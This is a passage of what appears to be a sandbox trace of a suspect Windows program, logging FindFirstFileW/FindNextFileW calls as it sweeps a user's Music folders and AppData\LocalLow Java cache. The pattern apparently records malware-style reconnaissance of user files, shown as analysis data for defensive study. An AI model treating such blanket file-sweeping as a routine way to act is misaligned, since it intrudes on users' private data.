ftCreationTime.dwLowDateTime=0x62bc3d80, ftCreationTime.dwHighDateTime=0x1d9ab74, ftLastAccessTime.dwLowDateTime=0xf249fd00, ftLastAccessTime.dwHighDateTime=0x1d9b4d1, ftLastWriteTime.dwLowDateTime=0xf249fd00, ftLastWriteTime.dwHighDateTime=0x1d9b4d1, nFileSizeHigh=0x0, nFileSizeLow=0xac65, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFgme_m1u.mp3", cAlternateFileName="ZFGME_~1.MP3")) returned 1 [0214.139] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dcfc0 | out: lpFindFileData=0x1e1dcfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc3d80, ftCreationTime.dwHighDateTime=0x1d9ab74, ftLastAccessTime.dwLowDateTime=0xf249fd00, ftLastAccessTime.dwHighDateTime=0x1d9b4d1, ftLastWriteTime.dwLowDateTime=0xf249fd00, ftLastWriteTime.dwHighDateTime=0x1d9b4d1, nFileSizeHigh=0x0, nFileSizeLow=0xac65, dwReserved0=0x0, dwReserved1=0x0, cFileName="zFgme_m1u.mp3", cAlternateFileName="ZFGME_~1.MP3")) returned 0 [0214.139] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.139] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\5RrDV", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\5RrDV", lpFilePart=0x0) returned 0x30 [0214.139] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\5RrDV\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\5rrdv\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d3e1400, ftCreationTime.dwHighDateTime=0x1d9b2e1, ftLastAccessTime.dwLowDateTime=0xbb24eb50, ftLastAccessTime.dwHighDateTime=0x1d9b31e, ftLastWriteTime.dwLowDateTime=0xbb24eb50, ftLastWriteTime.dwHighDateTime=0x1d9b31e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.139] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d3e1400, ftCreationTime.dwHighDateTime=0x1d9b2e1, ftLastAccessTime.dwLowDateTime=0xbb24eb50, ftLastAccessTime.dwHighDateTime=0x1d9b31e, ftLastWriteTime.dwLowDateTime=0xbb24eb50, ftLastWriteTime.dwHighDateTime=0x1d9b31e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.140] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2773bdc0, ftCreationTime.dwHighDateTime=0x1d9b2bd, ftLastAccessTime.dwLowDateTime=0x5c6b6d70, ftLastAccessTime.dwHighDateTime=0x1d9b2d6, ftLastWriteTime.dwLowDateTime=0x5c6b6d70, ftLastWriteTime.dwHighDateTime=0x1d9b2d6, nFileSizeHigh=0x0, nFileSizeLow=0x16a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="L DXttpuNnBtTh.mp3", cAlternateFileName="LDXTTP~1.MP3")) returned 1 [0214.140] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.140] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.140] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\5RrDV", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\5RrDV", lpFilePart=0x0) returned 0x30 [0214.140] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\5RrDV\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\5rrdv\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d3e1400, ftCreationTime.dwHighDateTime=0x1d9b2e1, ftLastAccessTime.dwLowDateTime=0xbb24eb50, ftLastAccessTime.dwHighDateTime=0x1d9b31e, ftLastWriteTime.dwLowDateTime=0xbb24eb50, ftLastWriteTime.dwHighDateTime=0x1d9b31e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.141] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d3e1400, ftCreationTime.dwHighDateTime=0x1d9b2e1, ftLastAccessTime.dwLowDateTime=0xbb24eb50, ftLastAccessTime.dwHighDateTime=0x1d9b31e, ftLastWriteTime.dwLowDateTime=0xbb24eb50, ftLastWriteTime.dwHighDateTime=0x1d9b31e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.141] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2773bdc0, ftCreationTime.dwHighDateTime=0x1d9b2bd, ftLastAccessTime.dwLowDateTime=0x5c6b6d70, ftLastAccessTime.dwHighDateTime=0x1d9b2d6, ftLastWriteTime.dwLowDateTime=0x5c6b6d70, ftLastWriteTime.dwHighDateTime=0x1d9b2d6, nFileSizeHigh=0x0, nFileSizeLow=0x16a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="L DXttpuNnBtTh.mp3", cAlternateFileName="LDXTTP~1.MP3")) returned 1 [0214.141] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2773bdc0, ftCreationTime.dwHighDateTime=0x1d9b2bd, ftLastAccessTime.dwLowDateTime=0x5c6b6d70, ftLastAccessTime.dwHighDateTime=0x1d9b2d6, ftLastWriteTime.dwLowDateTime=0x5c6b6d70, ftLastWriteTime.dwHighDateTime=0x1d9b2d6, nFileSizeHigh=0x0, nFileSizeLow=0x16a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="L DXttpuNnBtTh.mp3", cAlternateFileName="LDXTTP~1.MP3")) returned 0 [0214.141] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.142] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\z1pcsv_r", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\z1pcsv_r", lpFilePart=0x0) returned 0x33 [0214.142] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\z1pcsv_r\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\z1pcsv_r\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc037d0, ftCreationTime.dwHighDateTime=0x1d9b49e, ftLastAccessTime.dwLowDateTime=0xfb2a2250, ftLastAccessTime.dwHighDateTime=0x1d9b4f5, ftLastWriteTime.dwLowDateTime=0xfb2a2250, ftLastWriteTime.dwHighDateTime=0x1d9b4f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.142] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc037d0, ftCreationTime.dwHighDateTime=0x1d9b49e, ftLastAccessTime.dwLowDateTime=0xfb2a2250, ftLastAccessTime.dwHighDateTime=0x1d9b4f5, ftLastWriteTime.dwLowDateTime=0xfb2a2250, ftLastWriteTime.dwHighDateTime=0x1d9b4f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.143] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8bf76d0, ftCreationTime.dwHighDateTime=0x1d9b49a, ftLastAccessTime.dwLowDateTime=0x40cd98a0, ftLastAccessTime.dwHighDateTime=0x1d9b505, ftLastWriteTime.dwLowDateTime=0x40cd98a0, ftLastWriteTime.dwHighDateTime=0x1d9b505, nFileSizeHigh=0x0, nFileSizeLow=0xa049, dwReserved0=0x0, dwReserved1=0x0, cFileName="-Gsb519.m4a", cAlternateFileName="")) returned 1 [0214.143] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe1500, ftCreationTime.dwHighDateTime=0x1d9a6e5, ftLastAccessTime.dwLowDateTime=0x54cb32b0, ftLastAccessTime.dwHighDateTime=0x1d9b224, ftLastWriteTime.dwLowDateTime=0x54cb32b0, ftLastWriteTime.dwHighDateTime=0x1d9b224, nFileSizeHigh=0x0, nFileSizeLow=0x35e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gm-Hld0JCp.wav", cAlternateFileName="GM-HLD~1.WAV")) returned 1 [0214.143] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75c13a0, ftCreationTime.dwHighDateTime=0x1d9ab1a, ftLastAccessTime.dwLowDateTime=0xc4c807a0, ftLastAccessTime.dwHighDateTime=0x1d9b233, ftLastWriteTime.dwLowDateTime=0xc4c807a0, ftLastWriteTime.dwHighDateTime=0x1d9b233, nFileSizeHigh=0x0, nFileSizeLow=0x17500, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCbBwSvN7VpiP.wav", cAlternateFileName="MCBBWS~1.WAV")) returned 1 [0214.143] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe034f00, ftCreationTime.dwHighDateTime=0x1d9ae1b, ftLastAccessTime.dwLowDateTime=0x91d45410, ftLastAccessTime.dwHighDateTime=0x1d9b103, ftLastWriteTime.dwLowDateTime=0x91d45410, ftLastWriteTime.dwHighDateTime=0x1d9b103, nFileSizeHigh=0x0, nFileSizeLow=0xf284, dwReserved0=0x0, dwReserved1=0x0, cFileName="M_XE-MhffStp 0KIJF.wav", cAlternateFileName="M_XE-M~1.WAV")) returned 1 [0214.143] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90dec70, ftCreationTime.dwHighDateTime=0x1d9b077, ftLastAccessTime.dwLowDateTime=0x77d6fd10, ftLastAccessTime.dwHighDateTime=0x1d9b428, ftLastWriteTime.dwLowDateTime=0x77d6fd10, ftLastWriteTime.dwHighDateTime=0x1d9b428, nFileSizeHigh=0x0, nFileSizeLow=0x16d23, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRIlKtPKhO8W5b.mp3", cAlternateFileName="QRILKT~1.MP3")) returned 1 [0214.144] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1dcaa0, ftCreationTime.dwHighDateTime=0x1d9a7fe, ftLastAccessTime.dwLowDateTime=0xa8cce670, ftLastAccessTime.dwHighDateTime=0x1d9b4f8, ftLastWriteTime.dwLowDateTime=0xa8cce670, ftLastWriteTime.dwHighDateTime=0x1d9b4f8, nFileSizeHigh=0x0, nFileSizeLow=0x12a84, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlvwZ2OLpuGMWA.mp3", cAlternateFileName="SLVWZ2~1.MP3")) returned 1 [0214.144] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb02340, ftCreationTime.dwHighDateTime=0x1d9a5ab, ftLastAccessTime.dwLowDateTime=0x6c030040, ftLastAccessTime.dwHighDateTime=0x1d9acbe, ftLastWriteTime.dwLowDateTime=0x6c030040, ftLastWriteTime.dwHighDateTime=0x1d9acbe, nFileSizeHigh=0x0, nFileSizeLow=0x1a4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SnEnMo6rOd5.wav", cAlternateFileName="SNENMO~1.WAV")) returned 1 [0214.144] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83244810, ftCreationTime.dwHighDateTime=0x1d9aa57, ftLastAccessTime.dwLowDateTime=0xe9097ac0, ftLastAccessTime.dwHighDateTime=0x1d9b1e5, ftLastWriteTime.dwLowDateTime=0xe9097ac0, ftLastWriteTime.dwHighDateTime=0x1d9b1e5, nFileSizeHigh=0x0, nFileSizeLow=0x18b81, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimVOc W3.mp3", cAlternateFileName="TIMVOC~1.MP3")) returned 1 [0214.144] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f68df20, ftCreationTime.dwHighDateTime=0x1d9b50a, ftLastAccessTime.dwLowDateTime=0x950cef10, ftLastAccessTime.dwHighDateTime=0x1d9b50f, ftLastWriteTime.dwLowDateTime=0x950cef10, ftLastWriteTime.dwHighDateTime=0x1d9b50f, nFileSizeHigh=0x0, nFileSizeLow=0xd07d, dwReserved0=0x0, dwReserved1=0x0, cFileName="zk eaMg06zOBYEI.mp3", cAlternateFileName="ZKEAMG~1.MP3")) returned 1 [0214.144] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.144] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.145] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\z1pcsv_r", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\z1pcsv_r", lpFilePart=0x0) returned 0x33 [0214.145] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\ePQ4vF07ynd-Df\\z1pcsv_r\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\epq4vf07ynd-df\\z1pcsv_r\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc037d0, ftCreationTime.dwHighDateTime=0x1d9b49e, ftLastAccessTime.dwLowDateTime=0xfb2a2250, ftLastAccessTime.dwHighDateTime=0x1d9b4f5, ftLastWriteTime.dwLowDateTime=0xfb2a2250, ftLastWriteTime.dwHighDateTime=0x1d9b4f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.145] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fc037d0, ftCreationTime.dwHighDateTime=0x1d9b49e, ftLastAccessTime.dwLowDateTime=0xfb2a2250, ftLastAccessTime.dwHighDateTime=0x1d9b4f5, ftLastWriteTime.dwLowDateTime=0xfb2a2250, ftLastWriteTime.dwHighDateTime=0x1d9b4f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.145] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8bf76d0, ftCreationTime.dwHighDateTime=0x1d9b49a, ftLastAccessTime.dwLowDateTime=0x40cd98a0, ftLastAccessTime.dwHighDateTime=0x1d9b505, ftLastWriteTime.dwLowDateTime=0x40cd98a0, ftLastWriteTime.dwHighDateTime=0x1d9b505, nFileSizeHigh=0x0, nFileSizeLow=0xa049, dwReserved0=0x0, dwReserved1=0x0, cFileName="-Gsb519.m4a", cAlternateFileName="")) returned 1 [0214.146] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe1500, ftCreationTime.dwHighDateTime=0x1d9a6e5, ftLastAccessTime.dwLowDateTime=0x54cb32b0, ftLastAccessTime.dwHighDateTime=0x1d9b224, ftLastWriteTime.dwLowDateTime=0x54cb32b0, ftLastWriteTime.dwHighDateTime=0x1d9b224, nFileSizeHigh=0x0, nFileSizeLow=0x35e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gm-Hld0JCp.wav", cAlternateFileName="GM-HLD~1.WAV")) returned 1 [0214.146] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75c13a0, ftCreationTime.dwHighDateTime=0x1d9ab1a, ftLastAccessTime.dwLowDateTime=0xc4c807a0, ftLastAccessTime.dwHighDateTime=0x1d9b233, ftLastWriteTime.dwLowDateTime=0xc4c807a0, ftLastWriteTime.dwHighDateTime=0x1d9b233, nFileSizeHigh=0x0, nFileSizeLow=0x17500, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCbBwSvN7VpiP.wav", cAlternateFileName="MCBBWS~1.WAV")) returned 1 [0214.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0214.147] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow", lpFilePart=0x0) returned 0x26 [0214.147] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d39b021, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xaef38b07, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb529ceaa, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.469] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.470] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.470] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0214.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0214.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0214.470] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12", lpFilePart=0x0) returned 0x47 [0214.470] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\12\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\12\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.471] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.471] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.471] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0214.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0214.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0214.471] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13", lpFilePart=0x0) returned 0x47 [0214.471] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\13\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.472] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.472] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 